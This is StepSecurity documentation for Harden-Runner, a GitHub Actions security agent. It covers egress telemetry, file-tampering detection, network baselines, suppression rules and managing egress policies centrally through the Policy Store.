The `disable-telemetry` flag applies to the **Community Tier** only.

**Enterprise Tier** customers should not use this flag. Enterprise telemetry powers notifications and security insights, so disabling it would prevent StepSecurity from alerting you to runtime detections. In addition, self-hosted runner and Custom VM deployments always send telemetry to StepSecurity regardless of this flag, since the agent is deployed at the image or host level rather than configured per workflow.
{% endhint %}

Harden Runner sends telemetry related to egress traffic to the StepSecurity API, e.g.

* Domain names resolved,
* IP addresses called, and
* Processes that made these calls

This telemetry is used to render the [insights](/github-actions/harden-runner#how-to-access-harden-runner-security-insights) page.

When you use `egress-policy: block` mode, and if you do not want this telemetry to be sent anymore, you can set `disable-telemetry: true`.

When this is done, telemetry will no longer be sent to StepSecurity API.

#### **Example**

Here is an example of how to use `disable-telemetry: true`

```yaml
name: Harden Runner
uses: step-security/harden-runner@v2
with:
  egress-policy: block
  disable-telemetry: true
  allowed-endpoints: >
    api.github.com:443
    github.com:443
```

### Detect tampering of source code during build

Harden-Runner monitors file writes and detects if any source code files are overwritten during a build.

#### Why is this important?

* Source code overwrites are unexpected in a release build.
* All source code files are monitored, including infrastructure-as-code (IaC) files such as Kubernetes manifests and Terraform configurations.
* Notifications can be enabled to receive alerts when source code modifications occur.
* No additional changes are needed for self-hosted runners to enable file monitoring.

#### How to Detect Source Code Overwrites

**Step 1: Access the Workflow Runs**

Navigate to `Latest Workflow Runs` under the `Harden-Runner` menu in your StepSecurity dashboard. If any files were overwritten, you’ll see an alert similar to this:

<figure><img src="/files/Fm7oV8AOEn12jMmfAYUU" alt="StepSecurity Workflow Runs page"><figcaption><p>StepSecurity Workflow Runs page</p></figcaption></figure>

**Step 2: View File Write Events**

* Click on the workflow insights
* Go to the `File Write Events` tab
* You’ll see a list of overwritten files, including their paths and timestamps.

<figure><img src="/files/skVoQd8O8jTCkY7aMuyB" alt="StepSecurity Insights File Write Events page"><figcaption><p>StepSecurity Insights File Write Events page</p></figcaption></figure>

Enterprise-tier users get additional details such as:

* The process that wrote to the file.
* The arguments passed during the write operation.

<figure><img src="/files/LHKhbqFSogux1htFf5rP" alt="StepSecurity Insights File Write Events page"><figcaption><p>StepSecurity Insights File Write Events page</p></figcaption></figure>

**Step 3: Investigate the Overwrite**

* Identify the file and its path.
* Review the detection timestamp for when the overwrite occurred.
* If unexpected, trigger a security review or rollback to a safe commit.

### Run your job without sudo access

GitHub-hosted runner uses passwordless sudo for running jobs.

* This means compromised build tools or dependencies can install attack tools
* When you set `disable-sudo-and-containers` to `true`, the job steps run without sudo access to the GitHub-hosted Ubuntu VM. You can only use this option if you do not use docker in your job. If a job attempts to use the sudo command, the CI will fail.

Here is an example of how to use this option:

```yaml
- uses: step-security/harden-runner@v2
  with:
   disable-sudo-and-containers: true
   egress-policy: audit
```

### View baseline status at the job level

{% hint style="info" %}
**Note**: You can configure baseline thresholds based on either the [**number of runs**](/administration/admin-console/settings/anomaly-detection#run-based-detection) or the [**number of days**](/administration/admin-console/settings/anomaly-detection#time-based-detection)
{% endhint %}

To assess the stability of a job’s network behavior, you can either use the Baseline feature under the Network Events tabor at the right hand side of the section

#### How to Access the Job Baseline

There are two ways to view baseline information:

**Option 1: From Network Events (Quick View)**

* Navigate to Network Events for a specific job.
* In the top-right corner, locate the Job Baseline panel.
* Click View details to expand the baseline summary.

<figure><img src="/files/uCht24dEQ2OUCVbyVMY8" alt=""><figcaption></figcaption></figure>

From here you can see:

* Anomaly detection status
* Number of job runs used to compute the baseline
* When the baseline was last changed
* New endpoints introduced in the current run

**Option 2: Full Baseline Tab (Detailed View)**

* Navigate to Network Events.
* Click the Baseline tab next to Events.

This view provides complete job-level baseline details.

<figure><img src="/files/9lZYHUjVhRAgZT8B035W" alt=""><figcaption></figcaption></figure>

The baseline status indicates whether a job is making predictable or unpredictable network calls. This is crucial for determining the reliability of detections from that job.

* Stable Jobs: If a job is stable, it consistently makes predictable network calls. In such cases, detections should be investigated promptly, and GitHub checks should be enabled.
* Unstable Jobs: If a job is unstable, it may generate noisy alerts due to unpredictable network activity. This can lead to frequent false positives. To address this, create suppression rules for specific endpoints that consistently trigger alerts or disable detections from the job altogether

#### Baseline Status Categories

Each job can be in one of the following baseline states:

* Creating – The system is still collecting data to determine the job’s baseline behavior.
* Stable – The job’s network activity is predictable and consistent.
* Unstable – The job’s network activity is erratic and prone to triggering frequent alerts.

### View outbound GitHub API calls at the job level

{% hint style="warning" %}
Available for **Enterprise** Tier Users only
{% endhint %}

This feature provides visibility into outbound GitHub API calls made during a job execution. It logs details such as HTTP methods and request paths, helping detect any unauthorized data exfiltration attempts through `GitHub.com` .

#### How it Works

Clicking on any Destination in the `Network Events` tab reveals detailed information about the process that initiated the event, along with its process arguments.

This allows you to:

* Identify which processes are making outbound requests.
* Inspect HTTP methods and API endpoints used.
* Monitor network activity for potential security concerns.

<figure><img src="/files/cVLQQJLd9ZXGONeR9sld" alt="StepSecurity Insights Network Events page"><figcaption><p>StepSecurity Insights Network Events page</p></figcaption></figure>

For example, in the screenshot below, clicking on `ghcr.io` under the Destination column reveals detailed API call logs, including HTTP methods such as GET, POST, HEAD, PATCH, and PUT. This visibility helps track and analyze API interactions effectively.

<figure><img src="/files/I39EcX56m9gtgVtLv9e4" alt="StepSecurity Insights Network Events page showing API calls"><figcaption><p>StepSecurity Insights Network Events page showing API calls</p></figcaption></figure>

### Determine minimum GITHUB\_TOKEN permissions

{% hint style="warning" %}
Available for **Enterprise** Tier users only
{% endhint %}

Harden-Runner monitors outbound HTTPS requests using eBPF and uses the PATHs and VERBs of these HTTPS calls to recommend the minimum GITHUB\_TOKEN permissions for each job in your workflow.

* GITHUB\_TOKEN is an automatically generated secret used to authenticate to GitHub APIs from GitHub Actions workflows.
* Harden-Runner can monitor the VERBs (e.g., `GET`, `POST`) and PATHs (e.g., `/repos/owner/repo/issues`) for calls made to the GitHub APIs from the runner.
* Each GitHub Actions API call requires a corresponding GITHUB\_TOKEN permission. For instance, a GET request to the `/repos/org/repo/info/refs?service=git-upload-pack` endpoint requires the `contents: read` permission.
* The recommendation for the minimum GITHUB\_TOKEN permissions are show in the `Recommendations` tab.

<figure><img src="/files/lcFyNGmoGWnU7QF0Y5GG" alt="StepSecurity Insights Recommendations page"><figcaption><p>StepSecurity Insights Recommendations page</p></figcaption></figure>

For more details, refer to [Determine Minimum GITHUB\_TOKEN Permissions Using eBPF with Harden-Runner.](https://www.stepsecurity.io/blog/determine-minimum-github-token-permissions-using-ebpf-with-stepsecurity-harden-runner)

### View the name and path of every file written during the build process

{% hint style="warning" %}
Available for **Enterprise** Tier users only
{% endhint %}

View the name and path of every file that was written during the build process.

* Harden-Runner tracks every file written to the GitHub Actions working directory during the build process.
* In the insights page in the `File Write Events` tab you can see a file explorer view of each file that was written to.
* Clicking on any file reveals a list of processes that wrote to it, providing complete transparency.

<figure><img src="/files/xD9ahimrsMiABzNhu2Ie" alt="StepSecurity Insights File Write Events page"><figcaption><p>StepSecurity Insights File Write Events page</p></figcaption></figure>

### View process names and arguments

{% hint style="warning" %}
Available for **Enterprise** Tier Users only
{% endhint %}

Get deeper visibility into your CI/CD workflows by viewing all executed process names, Process IDs (PIDs), and process arguments within your environment. This capability is especially useful for forensics and incident response, allowing you to understand what ran and why.

To access this feature switch to the `Process Events` tab on your Insights page

#### How it Works

* Harden-Runner tracks every process that is run during the build process.
* Clicking on any process ID (PID) in the process events shows the process that caused the event, along with the process arguments.

<figure><img src="/files/QYfBObzntcvJhmOGbnJU" alt=""><figcaption><p>StepSecurity Insights Process Events page</p></figcaption></figure>

* You can walk up the process tree to analyze parent-child relationships, helping you detect suspicious activity and understand how processes interact.

<figure><img src="/files/pFwlqXeNWQm35VHSeAOA" alt=""><figcaption><p>StepSecurity Insights Process Events page showing child processes</p></figcaption></figure>

### Filter workflow runs by PR and branch

On the Insights page, branch names and pull request numbers are displayed as clickable links. These links let you quickly filter workflow runs related to a specific branch or PR.

#### How it Works

* Navigate to a StepSecurity Workflow Run

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/1ebd8c7c-1719-4b93-9654-a172d8e6b033/ascreenshot_1bbd6eca3c994fd6abe63a87fba78ea1_text_export.jpeg)

* Click a branch name to view all workflow runs associated with that branch.

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/1ebd8c7c-1719-4b93-9654-a172d8e6b033/ascreenshot_4d2a8fac75e04d9993596b244a254325_text_export.jpeg)

* You can see all workflow runs associated with this branch

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/b4c2b2da-9ddc-4775-bccc-64eec8c9882e/ascreenshot_640029f2de9c467386ea87c1a391697c_text_export.jpeg)

* Click a pull request number to view all workflow runs triggered by that PR

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/dce3b2dc-12e3-451c-bd07-1f9cbf9c639a/ascreenshot_21ddb98ec8e0435191d183dbcf801e04_text_export.jpeg)

* You can see all workflow runs associated with this PR

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/5c094255-43a9-4f83-ac47-0fea38179a8b/ascreenshot_9b49c9d57a89408fb4d4d25d49ac563c_text_export.jpeg)

* For pull request–based workflows, you can also view the GitHub Check result triggered by the PR

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/056d7933-36c7-48ff-9cd2-97e9b701f900/ascreenshot_fdf6fee8695f447c8420a0b89cdf550d_text_export.jpeg)

* This shows the exact checks that ran for that PR and their outcomes. In this example, only one GitHub Check was triggered for the pull request.

![](https://colony-recorder.s3.amazonaws.com/files/2026-02-05/2ea05b33-562c-4d11-b16c-06f8faa37e5d/ascreenshot_f40115aa91df4eaea7e4175f76a27e24_text_export.jpeg)

### View Infrastructure Events

Some network calls shown in the Network Events tab are made by the underlying GitHub Actions infrastructure, not by your workflow steps.

These calls may include:

* Internal GitHub platform services
* Runner orchestration components
* Other infrastructure-level services required for job execution

<figure><img src="/files/VxdQDMFGVE23JxDn2qaE" alt=""><figcaption></figcaption></figure>

Such calls are clearly identified in the Called By Infra column.

This distinction helps you accurately:

* Focus investigations on workflow-generated traffic
* Avoid false positives during anomaly analysis
* Better understand the true source of outbound connections


# Baseline

Baseline monitoring is the practice of establishing what normal external network calls your CI/CD workflows typically make, and then monitoring for deviations that might indicate a security breach.

At its core, it helps answer the question: *“Is this job making expected and safe outbound network calls?”*

### Baseline Status Categories

Each monitored resource, such as a job or repository, is evaluated for the predictability of its network activity. This evaluation helps uncover anomalies that could signal security issues.

Each resource can be in one of the following baseline states:

* Creating – The system is still collecting data to determine the resource’s baseline behavior.
* Stable – The resource’s network activity is predictable and consistent. A resource is considered stable once it has completed 100 runs without baseline changes.

{% hint style="info" %}
**Note**: You can configure baseline thresholds based on either the [**number of runs**](/administration/admin-console/settings/anomaly-detection#run-based-detection) or the [**number of days**](/administration/admin-console/settings/anomaly-detection#time-based-detection).
{% endhint %}

* Unstable – The resource’s network activity is erratic and prone to triggering frequent alerts. If the baseline has changed within the last 50 runs, the resource is classified as unstable.

### Baseline Summary

Every baseline view (GitHub Organization, ARC Clusters, Repositories, and Jobs) opens with a summary panel that gives you the at-a-glance health of the baseline before you dig into individual destinations.

<figure><img src="/files/MP6khc12BZ6UtQLP0zj3" alt=""><figcaption></figcaption></figure>

The summary surfaces four metrics:

* **Stability**: the current baseline state (Stable, Unstable, or Creating). See [Baseline Status Categories](#baseline-status-categories) for what each state means.
* **Based on**: the number of job runs that contributed to the current baseline.
* **Last changed**: how long ago the baseline last changed, with a count of runs that have completed since that change.
* **Destinations**: the total number of external destinations on the baseline for the selected resource.

### Baseline Changelog

The Baseline Changelog gives you a complete record of how a baseline has evolved over time. It opens as a side panel from the **View changelog** link on any baseline view.

Each entry shows:

* The destination that was added to the baseline
* When the change occurred (e.g., *5 days ago*, *13 days ago*)
* A **View Insights** link that takes you to the workflow run where the destination was first observed

Use the changelog to investigate why a baseline became unstable, to confirm whether a recent addition is expected, and to trace any new destination back to the workflow run that introduced it.

<figure><img src="/files/AUb5JtTv0AoLOgSdSTnY" alt=""><figcaption></figcaption></figure>

### Filtering Baseline Destinations

The GitHub Organization, ARC Clusters, and Repositories views share a sidebar with two groups of filters: **Worth a look** and **Browse by type**. These filters help you focus on destinations that are most likely to need investigation, or narrow the list to a specific category of destination.

The Jobs view uses a different layout (a tree of repositories, workflow files, and jobs). On that view, use the **Destination Type** dropdown above the destinations table to filter by category.

#### **Worth a look**

<figure><img src="/files/ScvYekHwb3NGO5SNrZ4H" alt=""><figcaption></figcaption></figure>

These filters surface destinations that are most likely to warrant attention.

* **IOC matches**: Destinations that match an Indicator of Compromise (IOC) tracked by the StepSecurity SOC, including domains and IPs associated with active supply-chain attacks (for example, *Trivy C2 Domain*, *Axios C2 Domain*, *Mini Shai Hulud 2*). Each matched destination is labeled inline with the specific threat name.

{% hint style="info" %}
**IOC labels appear regardless of filter state.** If a destination matches a known IOC, the threat name is shown beneath the destination in every view, not just under the IOC matches filter.
{% endhint %}

* **New this week**: Destinations that were first observed on the baseline in the last 7 days. Useful for catching changes in workflow behavior right after they happen.
* **Rare in fleet**: Destinations contacted by an unusually small share of jobs across the organization. Rarity is a signal worth reviewing because targeted attacks often touch destinations that the rest of the fleet does not.

#### **Browse by type**

<figure><img src="/files/LxFzbWcfv1h1bnaVE6Vl" alt=""><figcaption></figcaption></figure>

These filters group destinations by category so you can review the baseline one slice at a time.

* **AI · MCP servers**: AI service endpoints and MCP (Model Context Protocol) servers contacted by your jobs.
* **Public registries**: Public package registries, including npm, PyPI, Docker Hub, and GitHub Container Registry.
* **Cloud infra**: Cloud provider infrastructure endpoints, including AWS, Azure, and Google Cloud APIs and services.
* **Direct IP**: Destinations contacted by raw IP address rather than by hostname. These are worth reviewing because legitimate workflows usually resolve hostnames through DNS.

### Baseline Coverage at StepSecurity

StepSecurity applies baseline monitoring to four distinct resource types within your CI/CD environment:

#### **Jobs**

The Jobs tab provides detailed insights into individual workflow jobs and their external network destinations. Repositories, workflow files, and jobs are organized as a tree on the left, and the right pane shows the Baseline Summary and observed destinations for the selected job.

For the selected job you can:

* View the job’s Baseline Status (Stable, Unstable, Creating)
* See the number of job runs the baseline is based on
* Track when the baseline last changed and how many runs have completed since
* Filter destinations by category using the **Destination Type** dropdown
* Access the underlying Workflow File, and jump directly to Workflow Runs or Log Samples for investigation
* Generate a [policy](/github-actions/harden-runner/policy-store#from-the-baseline-page) directly from the endpoints observed in a specific job, or export those endpoints to a text file for further analysis.

<figure><img src="/files/U7b0Gd3Egj8fFjLfd74t" alt=""><figcaption></figcaption></figure>

**Network insights per job**

For each destination contacted by a job, you can view:

* The domain or IP
* Port used (e.g., 443)
* Whether the destination is allowed
* First seen and Last contacted timestamps
* Total number of calls
* Links to the workflow runs that made those calls

#### **Repositories**

The Repositories tab aggregates baseline data across all jobs and workflows within a specific repository. Use the **Repository** selector at the top of the view to choose which repository’s baseline to inspect. The tab offers the same insights as the Jobs view, but from a repository-wide perspective, which helps identify broader behavioral patterns and anomalies.

<figure><img src="/files/DAxvUbQ32ig1XLiIXBkh" alt=""><figcaption></figcaption></figure>

#### **ARC Clusters**

For environments that use ARC-managed self-hosted runners, the ARC Clusters view lets you monitor network behavior trends. Use the **Cluster** selector at the top of the view to pick which cluster’s baseline to inspect. You can see:

* Which destinations self-hosted runners are contacting
* Workflow runs that interacted with those destinations

<figure><img src="/files/uiBb7n7Yz65tRa1T5CtB" alt=""><figcaption></figcaption></figure>

#### **GitHub Organization**

This view aggregates baseline data across all jobs and repositories in your GitHub organization. It enables organization-wide monitoring to detect systemic threats or changes.

You can:

* View all external destinations contacted by any job across the organization
* See total call counts for each destination
* Drill into specific workflow runs using the Sample Workflow Runs option
* Detect organization-wide issues, such as unexpected domain access or behavioral shifts
* Generate policies directly from the endpoints observed in the organization

<figure><img src="/files/MP6khc12BZ6UtQLP0zj3" alt=""><figcaption></figcaption></figure>

### Creating Policies from a Baseline

Every baseline view has a **Create Policy** button in the top right. Clicking it generates a workflow run policy from the destinations on the current baseline at the scope you are viewing (job, repository, ARC cluster, or organization). Policies created this way can be applied through the [Policy Store](/github-actions/harden-runner/policy-store) without modifying workflow files.

{% embed url="<https://app.storylane.io/share/89apazfprobx>" %}


# Suppression Rules

Suppression rules allow you to ignore specific outbound network calls from known domains that are not a security concern.

For example, if your organization regularly makes outbound calls to `www.google.com`, but these calls are being flagged as anomalous, you can create a suppression rule to prevent unnecessary alerts for this domain.

## Scope of Suppression Rules

You can create suppression rules at different levels, depending on how broadly you want to apply them:

* Job Level – Applies to a specific job.
* Workflow Level – Applies to all jobs within a workflow.
* Repository Level – Applies to an entire repository.
* Organization Level – Applies across all repositories within the organization.

### How to Create a Suppression Rule

There are two ways to create a suppression rule, from the:

* Suppression Rules page
* All Detections page

### Method 1: From the Suppression Rules Page

**Step 1:** Navigate to `Suppression Rules` under the Harden Runner Section

<figure><img src="/files/Rfp20Xt1WxXC00OoJNVJ" alt=""><figcaption></figcaption></figure>

**Step 2:** Click "Create rule"

![Suppression Rules Page](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-08-21/e35b5370-8f8e-46b2-a48b-a8ba6f1924e2/ascreenshot.jpeg?tl_px=272,0\&br_px=3024,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=1014,44)

**Step 3:** Enter the following details:

* Rule Name – Provide a meaningful name for the rule.
* Rule Type – Choose the appropriate rule type. The options shown will vary based on the [detection type](/workspace/detections#types-of-detections).
* Description – Add details about why this rule is being created.
* Destination – Specify the domain or IP Address to suppress (use \* for wildcard matching).
* Process – Specify the exact process name. This allows you to suppress anomalous outbound calls originating from a specific process, even if other processes calling the same destination should still be monitored
* Scope – Choose the level of the rule: Job, Workflow, Repository, or Organization.

<figure><img src="/files/pMRDkh9Q5BMr8tpKrFV1" alt=""><figcaption></figcaption></figure>

**Step 4:** Click "Save"

### Method 2: Creating a Suppression Rule from the All Detections Page

**Step 1:** Navigate to `Detections` and go to the Anomalous Outbound Network Calls Tab

<figure><img src="/files/B1mXgm23YQqmIk8uwNBq" alt=""><figcaption></figcaption></figure>

**Step 2:** Click on the three dots next to the detection you want to suppress and select "Suppress detection"

<figure><img src="/files/CuNKx1NEzKoFgsNzILWn" alt=""><figcaption></figcaption></figure>

**Step 3:** A pop-up will appear asking why you want to suppress the detection. Select the appropriate reason, then click Suppress.

<figure><img src="/files/yIym8q19GcwwJLgFkgvh" alt=""><figcaption></figcaption></figure>

### Viewing Applied Rules in Workflow Run Insights

Workflow run insights show which suppression rules were in effect for each job and what each rule suppressed. Previously, rules were applied silently: a suppressed detection simply did not appear, with no indication of which rule was responsible.

Suppression rules appear on three tabs of the workflow run insights page, matching the detection types they apply to:

* **Network Events**: rules based on network events, such as suppressions for anomalous endpoint detections on outbound calls.
* **File Write Events**: rules that apply to file write detections, such as source code overwrite detections.
* **Controls**: rules that apply to control detections, including secrets in build logs and secrets in artifacts.

To view the rules applied to a job:

1. Open the insights page for a workflow run and select the relevant tab.
2. Select a job in the job list. The job header shows a **rules applied** count alongside the job's metadata (Harden-Runner policy, runner name, and job labels).
3. Click **View suppression rules** to see the list of rules that applied to that job, with details of each rule and whether it suppressed anything in this run.

Suppression rules are scoped and applied at the job level, so different jobs in the same workflow run can have different rules in effect. One job may have several rules applied while another has none. A rule being applied to a job does not necessarily mean it suppressed a detection in that run; the rule details indicate whether it did.

This visibility makes it straightforward to audit why an expected detection does not appear in a run, and to verify that suppression rules are scoped the way you intend.

<figure><img src="/files/TJqonNlMNG7tlklAjlSx" alt=""><figcaption></figcaption></figure>


# Policy Store

The Policy Store centrally manages Harden-Runner egress policies for your organization. Instead of writing `allowed-endpoints` inline in each workflow file, you define a policy once, attach it to a scope (workflow, repository, organization, or ARC cluster), and Harden-Runner fetches and enforces it automatically at runtime.

This makes it possible to update egress rules across hundreds of repositories without touching a single workflow file, and to keep an auditable history of every change.

Open **Harden Runner → Policy Store** from the sidebar to manage all of your organization's policies in one place.

<figure><img src="/files/FclcoISyRygG2Qdo5A0o" alt=""><figcaption></figcaption></figure>

The page has three sections:

**Global Block Policy:** A red callout at the top of the page surfaces the Global Block Policy, which blocks known-malicious domains and IPs across every workflow run in your organization, even when a policy is in Audit mode. The Global Block Policy is maintained by the StepSecurity SOC and is enforced automatically; you cannot edit or detach it.

<figure><img src="/files/wYV2dZNlLcWOVMDLwnQA" alt=""><figcaption></figcaption></figure>

**Your policies:** A counter row below the callout summarizes your organization's policies and acts as a filter:

| Filter         | Shows                                                                  |
| -------------- | ---------------------------------------------------------------------- |
| **Total**      | Every policy in the organization                                       |
| **Block**      | Policies in Block (enforce) mode                                       |
| **Audit**      | Policies in Audit (observe) mode                                       |
| **Unattached** | Policies that are not attached to any scope and are therefore inactive |

Use the **Search policies by name** input to filter the table further.

**Policies table:** Each row is one policy:

| Column          | Description                                                                                                                |
| --------------- | -------------------------------------------------------------------------------------------------------------------------- |
| **Policy name** | The display name set when the policy was created                                                                           |
| **Mode**        | Block or Audit, with a colored dot (red for Block, orange for Audit)                                                       |
| **Endpoints**   | Number of entries in the `allowed-endpoints` list                                                                          |
| **Attached to** | The scope the policy is currently attached to (e.g., *Organization*, *2 Repositories*), or *Not attached* if it is dormant |

The three-dot menu at the end of each row exposes the per-policy actions described in Managing policies.

## Key concepts

### Policy

A **policy** is a YAML document that configures Harden-Runner's runtime behavior. It has the same shape as the `with:` block you would write in a workflow file:

```yaml
egress-policy: audit
allowed-endpoints: >
  api.github.com:443
  github.com:443
  registry.npmjs.org:443
```

A policy can also include a `lockdown-mode` section (see [Lockdown Mode](#lockdown-mode) below).

### Scope and attachment

A policy on its own does nothing. To take effect, it must be **attached** to one or more of the following scopes:

| Scope            | Applies to                                                             |
| ---------------- | ---------------------------------------------------------------------- |
| **Workflow**     | A single workflow file in a single repository                          |
| **Repository**   | All workflows in a repository                                          |
| **Organization** | All repositories in a GitHub organization                              |
| **Cluster**      | All jobs running on a specific Actions Runner Controller (ARC) cluster |

A policy listed as **Not attached** in the Policy Store exists but is not applied anywhere. Attach it to a scope to activate it.

### Precedence

When multiple policies could apply to the same job, Harden-Runner picks the **most specific** one:

```
Workflow > Repository > Organization > Cluster
```

If a workflow-level policy exists, it wins. Otherwise the repository policy applies; if none, the organization policy; and finally the cluster policy (for ARC).

{% hint style="info" %}
When a reusable workflow is called, the **calling** repository's policy is applied — not the policy of the repository that hosts the reusable workflow. This means every repository gets its own enforcement even when sharing workflows.
{% endhint %}

### Policy history

Every change to a policy — content edits, attachments, detachments, and scope modifications — is recorded on the policy's **History** page. Each entry captures who made the change, when, and what was changed, including a side-by-side diff for content edits. See [View policy history](#view-policy-history) for details.

## Creating a policy

You can create a policy three ways:

1. **From scratch** in the Policy Store
2. **From a baseline**, importing endpoints observed during past workflow runs
3. **From the Baseline page**, auto-populated with endpoints from a selected source

## Creating A New Security Policy In StepSecurity

Learn how to establish a new security policy for your GitHub actions by importing existing configurations from an established repository. This guide simplifies the setup process by utilizing baseline sources to ensure consistent security coverage across your projects.

**Policy Setup**

1\. Navigate to <https://app.stepsecurity.io/github/actions-security-demo/actions/policies>

2\. Click "Create policy"

**Baseline Configuration**

3\. Click "Import from baseline"

4\. Select "Repository" from the Baseline source dropdown.

5\. Select "arc-demo-repo" from the Repository dropdown.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/05a868ea-75ff-460a-bd6c-15d7559c7544/stack_animation.webp)

6\. Click "Import endpoints" to add the selected baseline.

7\. Click "Create policy" to finalize and save the configuration.

### From scratch

**Step 1:** Navigate to **Harden Runner → Policy Store** in the sidebar and click "Create policy"

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/77ee6233-2e4f-4ea3-af80-13ea1f210e2b/ascreenshot_d99edbbf717844c3990fc0b5eebd84e2_text_export.jpeg)

**Step 2:** Enter a policy name and choose the enforcement mode (audit and block)

<figure><img src="/files/kVQ9AbcxaPtidoYmpYsq" alt=""><figcaption></figcaption></figure>

**Step 3:** Add endpoints manually or import them from a baseline.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/83a147cc-345f-4150-a6ac-312a5254391a/ascreenshot_784cf53a611a4b69bb85a35b79d55368_text_export.jpeg)

**Step 4.** Optionally enable `lockdown-mode` configuration (see [Lockdown Mode](#lockdown-mode)).

**Step 5.** Click **Add Policy**.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/5c37802a-ace9-447c-b4e4-ebf14fda2895/ascreenshot_eced6542e16e4391acdae0f2f1ec12ef_text_export.jpeg)

The policy is created in the **Not attached** state. See Attaching a policy to a scope to activate it.

### From a baseline (during creation)

* During **Step 3** above, click **Import Endpoints from Baseline** instead of typing endpoints manually.
* Choose a baseline source:
  * **Organization** — endpoints observed across all repositories in the organization
  * **Repository** — endpoints observed in a single repository
  * **ARC Cluster** — endpoints observed on a specific ARC cluster
  * **Job** — endpoints observed in a single job's history
  * **Local file** — upload a file with endpoints

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/174aa9cd-7d74-4aa6-b397-da5421690463/stack_animation.webp)

* Click **Import Endpoints** to populate the policy, then **Add Policy** to save.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-05/7d9b0d0e-465a-415b-82e0-df8f6e659876/ascreenshot_1b18bf70ba134a4a80fe4bbb6c2dca58_text_export.jpeg)

### From the Baseline page

**Step 1:** Navigate to **Harden Runner → Baseline**

<figure><img src="/files/50x5MFyisiNpoDuaDzxJ" alt=""><figcaption></figcaption></figure>

**Step 2:** Select a job, repository, ARC cluster, or organization, then click **Create Policy**

<figure><img src="/files/KIjnP9j4tDgyGWCnEvzU" alt=""><figcaption></figcaption></figure>

**Step 3:** You will be redirected to the new policy page with endpoints automatically populated

<figure><img src="/files/6oBDR12MkOsvLUKnSoIY" alt=""><figcaption></figcaption></figure>

**Step 4:** (Optional) Click **Export Endpoints** to download the list as a text file

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-10-07/21caf862-57fd-4aca-8ac3-e40c6ed57765/ascreenshot.jpeg?tl_px=1058,0\&br_px=3024,1098\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=758,64)

**Step 5:** Click **Create Policy** to save

<figure><img src="/files/5ec75V2C8RCVfRnrx3Ak" alt=""><figcaption></figcaption></figure>

## Attaching a policy to a scope

A newly-created policy is inactive until you attach it.

**Step 1:** In the Policy Store, click the three-dot menu next to the policy and select "Attach policy"

![](https://colony-recorder.s3.amazonaws.com/files/2026-04-21/d13ce4c0-ae9c-46be-882b-281899e3666e/ascreenshot_b08a611c89ab49e9bd476d701fd67bb9_text_export.jpeg)

**Step 2.** Choose the scope type — **Cluster**, **Organization**, **Repository**, or **Workflow** — and select the specific target.

![](https://colony-recorder.s3.amazonaws.com/files/2026-04-21/078875fd-669a-44b8-a906-095ff0afefd5/ascreenshot_9b984cdb49d1490ab407b1ebfb9b428a_text_export.jpeg)

You can attach the same policy to multiple scopes, and a single scope can only have one policy attached at a time (replacing the current attachment if you attach a new one).

## Applying policies at runtime

Creating and attaching a policy is not enough on its own — the runner also needs to know to fetch policies from the Policy Store. How that's configured depends on the runner type.

### GitHub-Hosted runners

For GitHub-hosted runners, enable policy fetching in your workflow file:

```yaml
- name: Harden the runner
  uses: step-security/harden-runner@v2
  with:
    use-policy-store: true
    api-key: ${{ secrets.STEP_SECURITY_API_KEY }}
```

**To get your API key:**

1. Go to **Settings →** [**Harden-Runner Installation**](/github-actions/harden-runner/harden-runner-installation) and select **GitHub-Hosted Custom VM**.
2. Copy the API key.
3. Store it as an organization-level secret named `STEP_SECURITY_API_KEY` so every repository in the organization can use it.

{% hint style="info" %}
The API key only grants access to the Policy Store. It does not grant access to any other StepSecurity APIs.
{% endhint %}

When this step runs, Harden-Runner looks up the attached policy following the precedence rules and enforces it. No other workflow changes are needed.

### GitHub-Hosted Custom VMs and Self-Hosted runners

For custom VMs and self-hosted runners, policy fetching is configured on the runner itself, so **no workflow changes are needed**.

**Step 1.** Configure the pre-job hook:

* Go to **Settings →** [**Harden-Runner Installation**](/github-actions/harden-runner/harden-runner-installation) **→ Runner Job Hooks**.
* Follow the provided script to install the hook on your runner.

**Step 2.** Create and attach policies as described above. The runner will fetch and enforce the attached policy at the start of each job.

## Managing policies

The three-dot menu next to each policy in the Policy Store provides the following actions:

| Action                | Description                                                                          |
| --------------------- | ------------------------------------------------------------------------------------ |
| **View policy**       | Read-only view of the policy YAML                                                    |
| **Edit policy**       | Modify the policy YAML content (egress policy, allowed endpoints, lockdown settings) |
| **Modify attachment** | Change the scope a policy is attached to                                             |
| **Detach policy**     | Remove all attachments. The policy is preserved but becomes inactive                 |
| **View history**      | See the full audit trail of changes to this policy                                   |
| **Delete policy**     | Permanently remove the policy. All attachments are removed first                     |

### Edit a policy

Click **Edit policy** to open the YAML editor. You can edit the policy content directly, or click **Import Endpoints from Baseline** to add endpoints from an observed baseline. Click **Update Policy** to save.

Saved changes are applied on the next workflow run that fetches the policy.

### View policy history

The Policy History page shows a timeline of every change made to a policy — content updates, attachments, detachments, and scope modifications — so you can audit exactly what changed, when, and who made the change.

**To open the history page:**

1. In the Policy Store, click the three-dot menu next to the policy.
2. Select **View history**.

<figure><img src="/files/rcrzfGl9lvdJAlgmNmfS" alt=""><figcaption></figcaption></figure>

**Event types:**

| Event               | Shown when                                                                                                                                |
| ------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| **Policy Created**  | The policy was first added to the Policy Store                                                                                            |
